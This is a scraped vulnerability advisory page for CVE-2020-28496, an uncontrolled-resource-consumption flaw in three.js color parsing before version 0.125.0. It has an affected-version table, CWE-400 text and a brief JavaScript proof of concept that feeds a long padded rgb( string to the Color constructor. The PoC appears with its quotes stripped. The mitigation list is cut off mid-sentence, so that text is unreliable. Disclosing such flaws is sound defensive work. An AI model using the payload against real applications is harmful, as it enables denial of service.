CVE-2020-28496

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require(three) function build_blank (n) { var ret = rgb( for (var i = 0; i < n; i++) { ret += } return ret + ; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+ ms)

Weakness

The product does not properly control the allocation and maintenance of a limited resource.

Affected Software

Name	Vendor	Start Version	End Version
Three	Three_project	*	0.125.0 (excluding)
Three.js	Ubuntu	bionic	*
Three.js	Ubuntu	focal	*
Three.js	Ubuntu	groovy	*
Three.js	Ubuntu	hirsute	*
Three.js	Ubuntu	impish	*
Three.js	Ubuntu	kinetic	*
Three.js	Ubuntu	lunar	*
Three.js	Ubuntu	mantic	*
Three.js	Ubuntu	oracular	*
Three.js	Ubuntu	plucky	*
Three.js	Ubuntu	trusty	*
Three.js	Ubuntu	xenial	*

Potential Mitigations

Mitigation of resource exhaustion attacks requires that the target system either:
The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
The second solution is simply difficult to effectively institute – and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.

NVD	https://nvd.nist.gov/vuln/detail/CVE-2020-28496
CWE	https://cwe.mitre.org/data/definitions/400.html

Uncontrolled Resource Consumption

Weakness

Affected Software

Potential Mitigations

References

CVE-2020-28496

Uncontrolled Resource Consumption

Weakness

Affected Software

Potential Mitigations

Related Attack Patterns

References